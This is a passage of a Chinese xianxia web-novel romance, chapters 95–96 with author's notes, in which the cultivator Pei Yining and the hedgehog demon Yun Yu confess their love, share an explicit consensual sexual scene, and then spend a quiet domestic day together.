云层移动,遮蔽了半边日光,天地昏暗几分。 云樾揉揉太阳穴,精神有些疲乏了。问亦云见状,下意识抬指要给她揉捏,在云榆面前,云樾没有躲避,甚至难得地给了她一个笑颜。 明知是在云榆面前演戏,但足以让问亦云心花怒放。 数年中屈指可数,对她的笑。 小刺猬支起爪臂,撑在裴依宁的肩膀上,与此同时,她的脸颊搭在爪臂上,导致上半只身体支起,形成一个长条形,看上去滑稽有趣。 那双黑色的眸子直直地对上问亦云与姐姐的互动,她有心传音给师姐,但传音引起的灵力波动会被两外二人发现。 小刺猬按下这层心思,她蹦跳到棋盘上,昂起头,自下而上地:“姐姐,我好多年没见过你的本体了,你为什么不变成本体。本体的姐姐更不会欺负编排本星星。” 本体的姐姐格外黏人,比她云小刺猬还要黏人,也更加温柔。 闻言,问亦云指腹下不觉用力,想到什么,晦涩地咽了喉咙。 云樾面色一僵,修长的手指自棋奁中夹起一枚黑子,按在小刺猬脑门上:“下次你单独见我,我再用本体见你。” 小刺猬眨眨眼,卖萌:“好啵。” 回去的路上,小刺猬没让裴依宁抱着回去,四肢生风地往前跑,拉开一段距离,小刺猬懒懒地伸了个懒腰,两条爪臂向四周大开,轻松无比。 小刺猬有形象地捂住唇,打了个哈欠:“今早送原师姐和风师姐,起得太早了,又打坐了那么久,好困啊,星星想要睡觉。” 刺覆盖在小动物的脊背,不断耸动,居高临下,像是团会动的椭圆形小球。 小刺猬越跑越慢,越跑越悠闲,有几次,裴依宁差点踢到小刺猬。 如果把小刺猬踢飞会怎么样?裴依宁被小刺猬带的生出坏心思。 她脚尖推推停在她面前的小刺猬,小刺猬肚子在前面跑,四肢在后面追。 本欲转身与裴依宁说话,却被踢着往前的小刺猬咬住后槽牙,一个起跳,转身,爪子握拳,捶下。 裴依宁眼疾手快地往后退去。 小刺猬一拳捶在玉砖上。 “笨蛋裴依宁!”小刺猬瘫坐下,捂住发红的爪子。 裴依宁半蹲下,拇指和手指捏住小刺猬腰身两侧,提起她的同时,掌心顺势贴到她后背的软刺上,让小刺猬躺在上面。 她拎起小刺猬红润的爪子,轻轻吹了几下:“还疼吗?” 师姐与她说话时,先传来的是淡淡的药香味,沁妖心脾,每每让小刺猬生不起气,尤其是对上这么一张脸。 这张脸的主人厨艺还好。 怎么会有这么完美的人。小刺猬积攒的火气被一盆凉水浇灭:“美色误妖,美食误妖。” 小刺猬嘀嘀咕咕,裴依宁听了几遍才听清,不免好笑地弯下唇,耐心问:“星星,还疼吗?” 因着小刺猬的“美色误妖”,裴依宁侧脸贴到小刺猬柔软的肚子上,很轻很慢地蹭了蹭。 小刺猬太小了,裴依宁担心稍微用点力就会压到她。 耳朵渐染绯红的小刺猬:“不……不疼了。” 被师姐这么温柔的哄,她哪里还会疼。她贪婪地想要抱住师姐,可本体不方便,现在被裴依宁握在掌心也不便。 她想亲师姐,但师姐不会亲小刺猬。 小刺猬咬住下唇,头碰了下师姐,趁师姐不注意,整张脸凑过去。 唇瓣在师姐脸颊上碰过。 是小动物表达喜欢的一种方式。 裴依宁一无所知她的心思,揣上脸红心跳的小刺猬,沿着玉石板一路回到两人所居住的殿宇。 风浅念和原以诗走后,她们不必过于躲避。 那晚云樾太过强势,好在没有被发觉她们在做什么。 到了殿宇,准备将小刺猬放下时,裴依宁敏锐地发现星星几乎全身是红的,微微发烫。 剑修身体素质是所有修士中最好的,轻易不会生病,小刺猬又是日日夜夜在她身边,由她精心照料。 莫不是灵海出现问题了,裴依宁灵力注入小刺猬身体内,环视一圈,并无问题,灵海内蓄上一段灵力,灵珠光泽越发显眼。 将小刺猬翻来覆去地摸过,都没有问题。 被摸来摸去的小刺猬脸颊更红了,她气昂昂地抓住裴依宁要将她翻面的手:“你……你做什么?” 裴依宁:“检查身体。” 小刺猬松开些力度,并没有放开她。下一秒,小刺猬周身灵光浮动,人形在光团中越来越大。 不消片刻,小刺猬人形出现。 云榆坐在桌案上,两条长腿垂下,悬空,红意自脸颊延伸到锁骨下方,蔓延到衣衫深处。 不知是巧合还是怎么回事,裴依宁被她两条腿夹在中间,柔软有力量的腰肢怼在大腿内侧。 “怎么变回人形了?”裴依宁正要检查别的,“但这样也好,更方便。” 云榆小声:“你不是说,更喜欢我的人形。” 裴依宁失笑:“星星的本体和人形我都喜欢。只是论道侣层次方面,自是人形更好。毕竟……我也不想被扎得满身都是刺。” 最后一句打趣味太过浓重,尾调卷着笑音。裴依宁的声音本就如山泉水清冽,如今更像是暖冬下融化的雪水,温凉中带着低醇的润。 云榆喜欢师姐的声音,喜欢亲师姐,喜欢抱师姐,喜欢师姐的每一处,从一开始的沉迷于师姐的厨艺到现在着迷于师姐的所有。 云榆:“不会扎到师姐的。我舍不得扎师姐的。”小妖稚嫩而直白地诉说自己的情感,将最真挚的一面展露无遗,“我喜欢师姐,最最喜欢师姐了。” 她五指抠在桌案上的凹凸不平雕刻的纹理上,指腹挤压成一圈圈印痕,白意凝在指尖,血线被往后排。 那张总是混着朦胧睡意的眸子格外认真地注意裴依宁,视线描摹女人的面容,她从桌案上滑落,踩在坚实的砖面上,后腰抵在桌沿边,眉宇间隐忍的情绪蠢蠢欲动。 被她陡然的表面弄得错不及防,裴依宁怔愣一瞬,只是一瞬,她坦然地接受并反馈这份直白热烈。 两人身高差不多,裴依宁搭住云榆的肩,手臂伸直,在面前人的后脑处交织,她歪过头,红唇轻启:“我也喜欢星星,最最喜欢星星了。” 心跳重重撞击胸膛,似是要跳出来一般,无尽的念想如潮水汹涌而来。 云榆害怕这份心跳会被裴依宁听见,又怕裴依宁听不见,无法用言语表达的爱意,唯独依靠器官潜意识接触中碰撞。 “师姐,”云榆勾住裴依宁的腰身,身形相融,她埋首于裴依宁的锁骨处,一遍遍呢喃地呼唤,“师姐,裴师姐……” 肌肤上带来湿润的痒意,是云榆在亲吻她的锁骨,而后上延,吻上她的脖颈,下巴,一路上滑到唇瓣,鼻梁,最后落在眉眼与额头处。 “星星……”裴依宁下颌骨被强势地顶住,云榆卡在她的脖颈处,浓重的占有欲无法隐藏地露出,“云榆。” 她有些呼吸不上来,面前人含着的情意太深,她恐怕再不阻止,会在双方没有准备的情况下,稀里糊涂地发生。 水到渠成是最好的结果,但她有必要引导这只懵懂无知的小妖,让她知晓自己在做什么。 裴依宁舔了下唇,视线往下,云榆的一条腿挤在她的□□,她呼出一口气,靠在云榆怀中喘息,低低地问:“星星,等等。” 云榆拍着师姐的后背,一遍遍地给师姐顺气,掌心在师姐后腰处停留的时间最长,揉动地最为轻缓。 裴依宁咬住舌尖,细细密密的电流顺着脊椎骨攀升,一路直达大脑,她身体忍不住战栗地抖动。 这小妖会的真的比她想象中的多,是本能的趋势还是什么,裴依宁无心追问,也没有精力追问,她一味地缩在云榆怀中平缓呼吸,可紧接着,就会被云榆无意的小动作引得呼吸急促。 她想让云榆别动,可话到了嘴边被生生咽下去。 云榆本就很乖巧地没有动。 只是在帮她按摩腰身,舒缓压力。 对于师姐的想法,云榆一无所知,她也在平复心情,方才的那一瞬间,她有种将师姐压入骨血的冲动。 不应该这样,会吓到师姐的。 她极力克制妖族的本性,温柔地轻拍师姐:“师姐,难受吗?” 当然难受。裴依宁眉心挤成山川。 云榆缓而慢地推开师姐一些,指腹按在师姐的眉间,将起伏的小山压下去:“师姐?” 裴依宁无意识地舔上牙尖:“星星,你方才想做什么?” 云榆顿住,老实中透着清澈的纯真:“想要紧紧和师姐贴着,不分开。” 想要将师姐变成身体的一部分,永远连接在一起。 师姐浅色瞳孔中倒映着师姐的面容,师姐的瞳孔中,一定也占满了她的身影。 好满足。 师姐的视线只为她停留,只有她可以这么拥着师姐,可以肆无忌惮地亲吻师姐。 云榆紧绷的神经在裴依宁开口的瞬间断裂,女人薄唇吐出的气音落在她耳边,碎裂的弦崩碎:“我也是,星星。” 气流在肌肤上流转,一簇簇地跃动燃烧,云榆护住裴依宁,身形转动,身位互换。 裴依宁被卡在桌案与云榆之间,退无可退,那条本应该单纯怼在她腿间的腿,毫无前奏地上前一抬。 “嗯……”裴依宁轻哼一声,力气泄去,软软地被云榆托举,陌生的感觉包裹住她,被抚平的山川重新拢起,又无力的舒展,“星星……” “师姐,”云榆指尖肉眼可见地颤抖,浅浅地扯住裴依宁腰间束带,指背上骨节分明,青紫色的筋脉凸起,难耐的在衣衫上拉动,“师姐,我想……可以吗?” 细若蚊蝇地“嗯”声自女人嗓子中挤出。 束带解开,衣衫松松垮垮地散开,云榆拦腰横抱住女人。 作者有话说: 嗯…… 明天晚上十点不见不散哦 快月底啦,营养液别放过期了哦 第95章 第九十五章[VIP] 门窗紧闭, 泄出的阳光被阻挡在外,空气中充斥着浅淡的药香,云榆单膝跪在床面,指腹压住松垮散去的衣衫, 虚虚地将其拢起, 瞳孔中,溢出床心人此刻的形象。 墨色长发如流水般铺下, 裴依宁一条腿曲起, 另一只腿散漫地弯曲在床沿边,长臂遮挡在额头, 投射下的阴影将下半张脸覆盖。 云榆凝着师姐清冷昳丽的容颜,微微俯下身, 更多的阴影将师姐笼罩,形成绝对的包围圈,将里面的人禁锢其中,躲避不得。 “师姐,”云榆本能地呼喊心上人的名字, 细细密密的吻压着师姐的唇角落下, “裴依宁, ”字音在舌尖滚动, 唤出好久不曾的, “宁依。” 裴依宁长腿紧绷, 被后两个字刺激到,无尽的记忆纷踏而至, 她情不自禁地扬起天鹅颈, 去迎接更多的亲密,仅剩不多的理智下, 她低声道:“星星,轻点……” 留下痕迹就不好了。 埋首在她身上的小妖不知道有没有听清,又或者是听见了不想回复,牙齿咬住女人颈间软肉,含在口中吮吸,撕咬。 不轻不重的疼痛激起神经战栗。 裴依宁根根分明的五指攥紧,流转在腰身的,不知何时,在她浑然不觉的时候,……轻盈而灵动的勾起层叠的白色衣衫。 裴依宁虽喜欢浅色衣衫,平日却少穿白衣。她本就生的白,先前甚至因为闭关时间过久,显出久不见光的病态白,被偷吃的小刺猬误认为是营养不良。 凉意袭来,与……交织融合,裴依宁轻呢声,别过头,混乱不已。 素来镇定自若的人体会到紧张与期待,她半眯起眼睛,轻轻蹭上云榆的侧腰:“星星……” 云榆辗转于师姐的唇边,脸颊,温凉的掌心贴合在紧致的腰线。 膝盖轻轻抵在那处,不缓不急地挤压。 软得一塌糊涂。 食指挤在膝盖与那处指尖,膝盖稍稍一用力,指腹盈盈地陷入半根指节,连同着布料的摩擦。 水流逐渐汇聚,形成一小滩湖面。 云榆乐此不疲地在师姐唇边,眉眼间留恋,少有顾念到另一处的心思。 裴依宁耳尖发着热,床面以攥着的点为中心,褶皱的不成样子,隐瞒在心底的渴望被逐一唤醒,偏生面前的小妖似是不知道她的难忍,不知道她的念想。 依旧不徐不疾,慢慢悠悠。 裴依宁忍不住推推云榆的肩膀,想将小妖的注意力引向别处:“星星……” 她暗示地足够。 …… 液体穿透薄薄的封锁线。 云榆意犹未尽的从师姐唇中而起,空闲的手揉上师姐的唇,而后在裴依宁克制的视线下,一点点地向后退去。 唇上的手抽离。 …… 没了膝盖作为推力,开始的极为缓慢,只浅尝辄止。 在云榆蹲下去的顷刻间,埋于其中的指抽出,缓而慢地去除外层的阻拦。 裴依宁升起的心坠落,无望的失去感重重砸下来,不等继续下坠,温热的呼吸吞吐而来,打在软嫩的红上。 似是预料到云榆接下来的举动,裴依宁瞳孔猛缩,下意识地去拦小妖,可绵软的身体怎么能比得上小妖的灵活。 那只手反而被云榆牵住,讨好地握住。 热气越发浓重,直到最后,热源与软嫩相拥。 云榆吻住了她。 舌尖在作乱,裴依宁的思绪连同下面被搅和的同样混乱,水珠落入水平面,扬起无数的浪花,软嫩的四周渐渐被流水覆上一层薄膜。 云榆喉咙滚动,虔诚地跪在地上,品尝世间最为美味的珍果,可怎么也吃不饱般。 …… 于是乎,甜润的汁水浸入。 那股药香味愈发明显,萦绕在云榆的脸庞,呼吸中,药香激发出她更强烈的食欲。 妖族的占有欲和侵占欲叠上新的层次,云榆克制住破坏的妄想,极尽温柔地用最简单的方式让师姐感受。 发顶被压住,师姐的五指陷入她的发丝中,在推拒和拉扯中来回游走,终于是受不了往那处小幅度的按压。 裴依宁清冷的音调染上破碎的痕迹:“星星,星星,等会……” 品尝够那处,云榆意犹未尽地抬起身,脸上和唇闪烁着晶莹的光泽,在明亮的空间中,那层光泽更是清晰无比。 裴依宁急促的呼吸沉了一瞬,扭过头,肌肤通红滚烫,不忍去看。 那些都是她的痕迹。 她留在云榆身上的痕迹。 她别捏地动了动腿,摩擦中,那股稍稍溺下去的念想再度高涨,被念妄折磨,她羞于向云榆启齿。 云榆手肘撑着床面,虚虚地压在她身上,小妖牵起她手,吻上手背:“师姐,好喜欢你。” 她松手,下滑,顺着那条缝隙上下,偶尔扫到那粒小樱桃。 …… 她着迷着师姐的反应,更着迷于师姐因她而变的神情。 满足感填盈。 因她而变的神情在她入内时,越发生动,柔软争先恐后地吞没她的指,动弹不得。 云榆勾指,裴依宁呼吸沉了几分。 妖族的劣性在此刻暴露出,云榆勾连着,在一处略有褶皱的地方打着圈的轻压,按动:“师姐,方才我在下面,你压我头时,想的是什么?” 因这句话,裴依宁小腹抽动,更为激烈的反应让她眼眶发红,她摇头,回答不出。 云榆被这样的师姐美到,过往的谦卑湮灭成泡影,她舔着唇,用更多的刺激满足女人:“师姐当时,是不是希望我更用力,更快一点……”她呢喃地咬住师姐的耳尖,气音带出的话钻入女人耳中,指下重重点过十数下,“就像是这样。” “星星……”裴依宁哽住,身体紧绷,“别说。” 剪碎的话语断断续续,云榆只能从裴依宁的口型中分辨出女人的意思,她无辜地眨眨眼,不明所以地犹如纯情的小动物,可骨子里的“坏”藏不住,掩不掉:“师姐,我说什么了呢?” 她挑起眼皮,用眼神将师姐此刻的样子记录下,顺着师姐的轮廓线,记下师姐情.动的样子。 很美,很好看。 衣衫要挂不挂地缀在身上,凌乱与整洁形成强烈的视觉冲击力,云榆发现一件更足以让师姐有反应的话。 她尾音含笑,亲昵地:“师姐,想不想帮我脱去这些,”她耸肩,“就像师姐现在这般。” 作乱的指不停,混账的话也不停。 裴依宁大脑几乎窒息,空白一片,一朵朵绚丽的烟花绽放开,而后,熟透了的樱桃被采摘,烟火下坠成原本的色调。 裴依宁柔弱无骨地压住云榆的手,眼睛半睁,初次来得太过强烈,敏感的人平复因此而来的冲击。 浑浑噩噩地消化云榆先前的话:“星星,不许胡说。” 云榆怜惜地吻上师姐,恶劣的本性尽数收入皮囊下:“不胡说。” 压住她的手抽去,裴依宁舌尖舔在齿尖,喉咙干涩的说不出话,她静静地养神。 可心思不纯的小妖怎么会让她如愿,没有了克制力,便是默许继续,云榆试探性地勾动两下。 师姐没有阻拦。 云榆再度深入,有了第一次,两方配合的越发好,敏感被轻而易举地找到,只是滑过,就能听见隐忍的低音。 “师姐,我想听你的声音。”云榆轻声道,“师姐的声音,好好听的。” 可师姐很少出声,吝啬地不肯满足她。 云榆不断地勾动,不断地尝试吸引师姐,不断地引导师姐,谆谆善诱地教导:“师姐,咬着唇不疼吗?” “咬我呢?”她将脖颈凑过去。 在裴依宁欲要咬的那刻,某只小妖快速仰起头,与此同时,指下速度不断的加快,力度加重。 来不及反应去咬唇,堵在喉咙中的声音泄出。 云榆满意地扯住唇,夸赞:“师姐的声音好好听。” 她发现,不论是清醒的师姐还是沉沦的师姐,都让她好爱。 清醒时的师姐,会温柔地同她奇奇怪怪,沉沦的师姐,展现出另一种无与伦比的美好。 圣洁的美好。 云榆叹息声,故意道:“师姐,白日这般,万一被人发现怎么办?” 看啊,明明先起念头的是她,哄骗师姐出声的是她,现今担忧的也是她。 裴依宁咬住她,力度并不重。 云榆眼神暗淡几分,指腹浅出:“师姐好安静。” 裴依宁被她折磨疯了,极致的快乐染上这份语意不明,血液流淌着将感受带入四肢百骸,神经遍布全身,连通大脑。 “星星,”她受不住地出声,“别说了,求你,别说了……” 云榆搂住她,脸颊心疼的点在裴依宁额头,温声细语地安抚受惊的人:“不说了,师姐别怕。我们专心做事。” 一曲落下,满身被汗水打湿,裴依宁从未向这般狼狈过,事后安全感的缺失让紧紧抱住云榆。 用尽最后一丝力气地抱住。 回抱住师姐,云榆愧疚地扯过被子盖住师姐:“对不起,师姐。” 裴依宁浅声道:“水。” 云榆急急地引了杯子过来,小心翼翼地喂师姐。 水流自裴依宁唇角溢出,云榆轻柔地抹去:“慢点,不急。” 现在这般体贴,方才怎么不见如此,裴依宁舒缓身体,望着某只内疚害羞的小妖,生不出半点气恼。 “做出这副表情做什么,”裴依宁嗓音还是哑的,“活像是我欺负了你。” 云榆道:“是我欺负了师姐,弄疼师姐了吗?” 她的本能会不会伤害到师姐,师姐那处那么嫩,她下意识地要去看,被裴依宁拦住,后者谨慎地:“不要了,有些累了。” 云榆:“我想看看有没有受损。” 裴依宁迟钝的思维运转开,分析云榆这句话,好半晌,她一掌轻飘飘地拍在云榆脸上,自己的脸滚烫:“住口,”饶是她都不知道怎么接小妖的话了,“没有,不用看。” 云榆不放心:“真的吗?我有几次有点没控制,师姐当时……” 裴依宁打断她:“云榆!” 这小妖是怎么做到又纯情又这么的让她不知所言的,这也是一项天赋。 裴依宁头疼。 云榆委屈地“哦”了声,等裴依宁恢复地差不多了:“师姐,我抱你去洗洗。” 师姐这般爱干净,方才流了那么多汗和水,身上黏腻腻地,只是用净身术,想来还是会觉得不自在。 得到师姐同意后,云榆引水为师姐洗漱。不做事时,对上师姐的不着、寸、缕的肌肤,云榆视线乱飘,怎么都不敢落到不久前让她迷恋的上面。 她垂着头为师姐清理。 “师姐,困不困?”换好床褥的云榆搂住女人,“要不要睡觉。” 裴依宁点点头:“你陪我。” 平日都是师姐纵容她,这次云榆也能纵容师姐了:“好,陪你。” 裴依宁揪住她的衣衫,缩进云榆怀中,呢喃低语:“午安。” 云榆笑了笑:“午安,可爱的师姐。” 裴依宁没有力气回应她。 云榆满心满眼地凝视着睡梦中的师姐,两指手指捏在一起。 睡迷糊的师姐有些会颤动几下,而后更加依恋地往她身上钻。 云榆吻住师姐发顶,闭目,酝酿睡意。 裴依宁再度醒来时,外面的天色已经蒙蒙暗了,甫一睁眼,正对上不知醒了多久的小妖。 “师姐,睡得好吗?”云榆笑着问。 精神气养好的裴依宁仔细地端详她,旋即捏着云榆的下巴,微微转动她的头,打量着,面色平淡地道:“将之前的话再说一遍。” 云榆怔愣:“什么?” 裴依宁似笑非笑:“我让你不准说时,你说的那些话。” 那些话,这个状态下云榆怎么可能说得出口,她支支吾吾地,知晓师姐是在秋后算账,拿出杀手锏,泪水说来就来,眼眶直接蒙上一层水雾:“师姐都不准我说了,我怎么会违背师姐的意思,继续说。星星不敢。” “不敢?”裴依宁失笑,力度大了几分,“先前说得不是很欢快吗?” 云榆小声咕哝:“因为我发现我说时,师姐的反应总是很大……” 裴依宁眼皮不受控制地跳动:“好了,不说了。” 她真是脑子不清楚了,竟然想要和这只随时能颠覆她话语和思维的小妖将道理。 若是把她说急了,说不定还要变回本体,反过来寻她的问题。 裴依宁顺下气。 云榆委屈巴巴地瘪瘪嘴,摸向师姐的小腹:“师姐,我去给你找些吃的。她们说事后要补充体力。” 一股不好的预感升起,裴依宁眼皮跳得更厉害了:“谁说的?”鲜主赋 云榆老实巴交:“之前无意中听别的妖说的,但我听得不多。” 裴依宁:“以后这种事,不准听别人说,你问我便是。” 云榆乖巧:“好,那师姐吃东西吗?” 裴依宁“嗯”了声。 云榆言笑晏晏地从床上爬下,去寻吃的。 问玉宫内不乏类似于膳食堂的建筑,这个点正是饭点,与其去膳食堂寻食物,不如去姐姐那的快。 算算时间,姐姐这个点应该也在吃饭,去蹭点姐姐那的。 云榆打好主意,调转脚步,往问玉宫中心殿宇而去。她心情不错,脚步轻快,念着在等她的师姐,更是不敢耽误,越到后,她身形快到产生残影。 抵达姐姐住的地方,云榆整理过衣衫,正要进去,迎面撞上从里面出来的问亦云。 瞧见她,问亦云脚步一顿:“来找你姐姐?” 云榆点头。 问亦云侧过身:“她在里面。” 云榆进入几乎日日踏足的地方,轻车熟路地找到在长廊处坐着的姐姐,云榆顶起半边眉梢。 来早了。 她悄无声息地靠过去,熟不知气息早已被坐着养神的人察觉到。 云樾睁开眼,转头,就见蹑手蹑脚溜到她身后的小妖。 被抓包的云榆耸肩,坐在姐姐身边:“姐,在这吹风啊?”她左看右看,丝毫不掩饰来的目的,笑嘻嘻地,“我来蹭吃蹭喝,什么时候开饭?” 云樾:“饿了?我现在让人送来。”没在附近发现另一人,“你师姐呢?” 云榆来时就想好了应对的话术:“师姐下午教导我修习,所以我主动请缨从姐姐这顺点吃的回去,免得师姐再跑一趟。而且,”她眨眨眼,“我想单独好姐姐待一会会。” 云樾莞尔:“这么会说话,也好,陪姐姐坐会。” 云榆挠头:“可能不太行,我和师姐说了很快就会回去的。” 云樾:“有了师姐忘了姐姐?” 云榆举起双手:“星星不敢,但毕竟先答应了师姐嘛。” 生机无限,活力纯真,裴依宁的确将她妹妹养得很好。 云樾很放心。 说话间,膳食传入。问玉宫的食物味道很好,在云榆这虽不如师姐的手艺,但也能排到第二位。 她端了两样方便吃的,兴高采烈地回去了。 出去时,又撞见回来的问亦云,云榆将两盘食物藏了下,没能藏住,就大大方方地放在身前,礼貌地:“问姐姐好,问姐姐再见。” 问亦云微微颔首,目送这道活泼身影消失。 从中心殿宇出来的云榆使用灵力往回赶,不知是不是交融的缘由,师姐一刻不在视线内,她就想得慌。 一门心思地回去见师姐。 裴依宁支撑着略显疲惫的身体下床,透过铜镜看见自己此刻的样子,红唇微肿,白皙的颈间缀着几枚深深浅浅的红 这只小妖在她身上留下痕迹了。 指腹摸上其中一枚,裴依宁眼底满是无奈与纵容。 外面脚步声渐起,裴依宁看过去。 喜悦的小妖端着食物放到玉桌上,招呼她:“师姐,你怎么下来了,我还打算喂你的。” 裴依宁道:“不用,我身体没那么差。” 她走过去,云榆摆放好碗筷,猜到她不太想吃米饭,云榆端来的其中一份是粥,配上清爽的小菜,自是别有一番滋味。 裴依宁吃饭姿态优雅,手指执筷,脸上还带着淡淡的疲惫,但并不影响女人的气质,那副宛如清泉弯月的气质。 总是能成为焦点,吸引注意力。 云榆的目光长久地落在师姐身上,准确地来说,是落在师姐脖间的痕迹上。 睡觉时没能发觉,吃饭时师姐身姿笔挺,脖颈修长,直直地显露而出,想不注意都难。 “不合胃口?”见她少有动筷的时候,裴依宁问,“怎么不端点你喜欢的?” 云榆笑笑:“没有,我在吃的。” 说着,她夹了一筷子菜进入碗中,眼神不时瞄向师姐的颈间。不知道师姐知不知道,她记得师姐说不要留下痕迹。 若是被师姐看见……云榆生出隐秘的兴奋感。 师姐会怎么说她呢。 师姐应是不会说的她。 但本着是好妖的念头,在饭后,云榆主动道:“师姐,我做坏事了?” 裴依宁:“嗯?” 云榆埋关子,先一步将隐患遏制在牢笼中:“说了师姐会原谅我吗?” 裴依宁顿了顿,好以整暇地:“会原谅你。” “就是,嗯……”云榆迟疑地指了指自己的脖子,略有心虚地:“我不小心留了些东西在师姐身上。” 果然是这件事,裴依宁早有预料,她不打算问罪小妖。外出时大不了用灵力遮挡掩盖一下,不是什么难事。 再不济吃枚丹药。 但这是个很好地点,裴依宁双手交叉叠放在下巴处:“然后呢?” 云榆缩缩脖子,警觉道:“师姐说会原谅我。” 裴依宁点头:“会原谅你,但我并没有说什么时候原谅,不是吗?” 云榆:“……师姐,你耍赖。” 裴依宁:“嗯?” 云榆咬碎牙往肚子里咽,自知理亏:“没事,”她哭唧唧,“师姐怎么才能原谅我。” 裴依宁:“还没想好,日后再说。” 她起身往里走,轻轻松松地留下一句:“把这里收拾干净。” 云榆老老实实地照做,洗漱过后才是靠近师姐,见裴依宁在看药典古籍,她听话地坐在师姐身旁,下巴搭在师姐肩上,瞟了眼书中晦涩难懂的文字,她移开目光。 这东西比剑法难多了。 她还是看师姐好,尤其是那些印子。 都是她的。 她来没多久,裴依宁收起古籍,凭空取出一枚丹药含住口中,露在外的肌肤上的痕迹一一褪去。 好像自己留下的烙印没了,云榆不高兴地蹙起眉头,小声控诉:“晚上又不出去,为什么这么早消除痕迹。” 裴依宁点点她:“我怕再不消除,你能把我看穿了。” 云榆:“才不会。” “师姐知道我当时在想什么吗?”记起当时师姐发红的眼眶,她顿了下:“师姐,我想看你被泪水打湿的模样。” 她想看师姐泪意朦胧下的兴奋。 作者有话说: 浅浅地做一下 怎么才能看见师姐被泪水打湿呢 第96章 第九十六章[VIP] 想看她哭。 这是云榆第二次说类似的话, 裴依宁脑门涨疼,那处隐隐泛着酸。小妖对她很温柔,即使是有意引导她,也会顾及她的身体。 事后睡了一觉, 裴依宁的精神恢复许多。 眼下听见云榆说这话, 她掀起眼皮,斜斜地瞥过说过这话就耷拉着脑袋不与她对视的小妖, 精致的眉宇间显出几分软意, 她玩味地勾住小妖地肩膀,将云榆大半边身体搂抱住。 穿过云榆后颈的手自另一端握住小妖的下巴, 稍稍往上一抬,再往自己的方向转过。 唇边的弧度不如往日的亲近, 裴依宁玩味地问:“想看我被泪水打湿的模样?怎么看?如何打湿?” 一连三个问题让云榆无言以对,僵硬的身边被搂抱地越发紧,加之在她身上的束缚力亦是不断加紧。 云榆主动将头搭在裴依宁的肩头,斜侧着身体,就着裴依宁搂抱她的姿态, 软软地倒在女人怀中。长腿蹬了下地面, 脚面一转, 稳稳躺在裴依宁的大腿上。 云榆往师姐的小腹处贴去, 皙长的手指点在师姐的衣衫上, 意识无比清醒:“没有, 我说着玩的,师姐别当真了。” 裴依宁抬了下腿, 云榆上半身跟着往上抬起, 她双臂抱住师姐的腰身:“我做不出那种事。” 分明做恶劣事情的是她,现在说做不出那种事的也是她。若是在今日之前说, 裴依宁兴许还会相信,可经过下午那出,裴依宁对小妖这句话的信任度持续下降。 秉持着怀疑的态度,裴依宁挑起半边眉梢,指尖有规律节奏地一下下点在云榆的脸颊,带着酥酥痒痒的麻。 她有意调动体内的火属性灵力,云榆被她触及的那片肌肤的温度悄无声息地上升。 自下而上看去,师姐清冷端庄的五官凝着笑意,透出漫不经心的慵懒,她歪过头,抬手覆盖住裴依宁的那根手指,拉到唇下,无声地与师姐对视着。 寂寥的夜色下,四目相对中,空气变得越发黏稠,旖旎的气氛缓缓将两人包围。 云榆噙着的笑意逐渐收敛,看着看着,她忽而不好意思地转过头,害羞地干咳两声,腰腹爆发力极强地挺起,整具身形直接跃起,从裴依宁身上起来。 她故作镇定地走到桌边,攥住一只玉杯,里面的水早已变得冰凉,但一心想要缓和心情的小妖根本注意不到这些,抿了两口,顺势靠在桌案边。 裴依宁望着她。 云榆欲盖弥彰地指了下一侧的茶壶:“师姐,要喝水吗?我给你煮茶。” 话音刚落,她动作不停地拎起茶壶,行动力极强,让人挑不出错来。 不多时,一杯热气腾腾的茶水递到她的身边,茶香味遮掩掉部分药香。 云榆吸吸鼻子,仔细下,还是能嗅到独属于师姐的气息。 裴依宁接过茶,垂眸,茶面上浮着一小片茶叶,她吹了几口气,那片茶叶如漂浮的柳絮,在水面上转动,翻转。 记起下午面前的小妖也有过这样翻转过她,裴依宁眉心重重跳了几下,意思性地押了两口茶,直接分明的指扣住茶杯盖,四根手指提着杯沿,放到一边的小桌上。 她分出心神:“煮茶的手艺渐长,到时不错,回宗后,这份事就一直做着吧。” 云榆忙不迭地答应:“好的,师姐让我做什么,我就做什么。” 裴依宁扫了她一眼,没接话。 她又泛起了困意:“别杵在那了,过来睡觉。” 云榆点点头:“来了。” 她过去接过师姐脱下的外衫挂好,继而脱下自己的白衣挂在师姐衣衫旁边。 衣服是挨在一起的,床上的一人一妖也是挨在一起的。 裴依宁枕在云榆伸长的手臂上的,身体往小妖那靠去,搂住小妖的腰身,很轻地说了声:“晚安。” 云榆翘唇:“师姐,晚安,好梦。” * 这一觉两人睡得很沉,日上三竿,云榆慢悠悠地从睡梦中苏醒,她无意识地动了动,鸦羽般的睫毛轻颤扑扇。 睁眼,入目是裴依宁那张无暇引人的脸。 裴依宁晚半拍地睁开眼。 洗漱穿戴完毕,简单的吃了些东西,云榆搬了两张凳子到殿前,兴致很高地拉着师姐晒太阳。 裴依宁由着她。 云榆双腿交叠,伸了个懒腰:“好悠闲啊。” 裴依宁不置可否,忽地想起玉墙山水画上提的一手好字,又想起云榆算不得好看的字迹,难得升出几分疑惑。 云樾在书画方面造诣那般高,云榆怎么一点都没学到。 云榆只觉得落在身上的目光从好奇转向不解,再转向她不明的情绪:“师姐,你在看什么,我脸上有东西吗?” 裴依宁淡淡地错开目光:“没有,”顿了两秒,她脚尖点点云榆,“去搬张桌子出来,取出笔墨纸砚。” 云榆一一照做:“师姐,你要写字作画吗?” 裴依宁:“你去练字。” 云榆:“……啊?” 她不可置信地指了下自己:“我吗?” 好好地怎么突然说起让她练字的事了,师姐的报复心这么强的吗?昨日的事现在开始算账。 明明说原谅她的,结果变着法的折磨她。 她舞剑的手怎么拿的住那小小的笔杆,师姐这不是故意为难她吗? 可惜某只小妖不敢反驳,捏着墨条,默默地研墨,时不时偷偷望一眼悠闲自在的女人。 墨磨好了,她道:“师姐,我自己练吗?” 裴依宁:“先写一组字,让我看看。” 云榆捻起笔杆,先前裴依宁教过她如何运笔,许久没练习,如今忘得差不多了。 她问:“师姐,写什么字?” 裴依宁:“写我的名字,等会,”她话音一转,记起云榆那不忍直视的字体,抵了下唇,“算了,写你自己的名字吧。两个字,好写一点。” 云榆没有多想,运笔,泼墨而下,姿态开合幅度极大,龙飞凤舞地宣纸上落下两个文字。 笔落,云榆绷着脸将宣纸举起,上下打量过后,更加不好意思拿给自己看了。 裴依宁:“拿过来。” 云榆一步步地慢慢挪动过去,将宣纸翻过去,羞涩地:“师姐,要不先别看了。” 裴依宁接过宣纸,半晌:“还行能认出来。” 云榆:“师姐,你说话好高级。” 